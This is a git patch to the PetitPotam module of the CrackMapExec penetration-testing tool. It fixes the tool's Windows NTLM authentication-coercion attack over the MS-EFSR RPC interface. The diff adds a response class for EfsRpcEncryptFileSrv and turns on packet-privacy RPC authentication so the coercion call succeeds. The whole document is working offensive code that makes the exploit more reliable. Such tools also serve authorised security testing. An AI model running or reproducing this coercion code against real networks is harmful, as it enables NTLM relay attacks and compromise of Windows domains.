From 1e69eb3791eb1f9b92d1b3b795d4c44e7b0aa729 Mon Sep 17 00:00:00 2001 From: Adam <1392689+coffeegist@users.noreply.github.com> Date: Fri, 4 Mar 2022 11:24:10 -0600 Subject: [PATCH] * Add necessary class for success when calling EfsRpcEncryptFileSrv --- cme/modules/petitpotam.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/cme/modules/petitpotam.py b/cme/modules/petitpotam.py index 8f09aff6..4316a58f 100644 --- a/cme/modules/petitpotam.py +++ b/cme/modules/petitpotam.py @@ -7,7 +7,7 @@ from impacket import system_errors from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR -from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.uuid import uuidtup_to_bin class CMEModule: @@ -143,12 +143,18 @@ class EfsRpcOpenFileRawResponse(NDRCALL): ('hContext', EXIMPORT_CONTEXT_HANDLE), ('ErrorCode', ULONG), ) + class EfsRpcEncryptFileSrv(NDRCALL): opnum = 4 structure = ( ('FileName', WSTR), ) - + +class EfsRpcEncryptFileSrvResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + class CoerceAuth(): def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp): binding_params = { @@ -181,8 +187,8 @@ class CoerceAuth(): rpctransport.setRemoteHost(targetIp) dce = rpctransport.get_dce_rpc() - #dce.set_auth_type(RPC_C_AUTHN_WINNT) - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.set_auth_type(RPC_C_AUTHN_WINNT) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) try: dce.connect() @@ -230,4 +236,4 @@ class CoerceAuth(): logging.debug("Something went wrong, check error status => %s" % str(e)) else: - logging.debug("Something went wrong, check error status => %s" % str(e)) \ No newline at end of file + logging.debug("Something went wrong, check error status => %s" % str(e))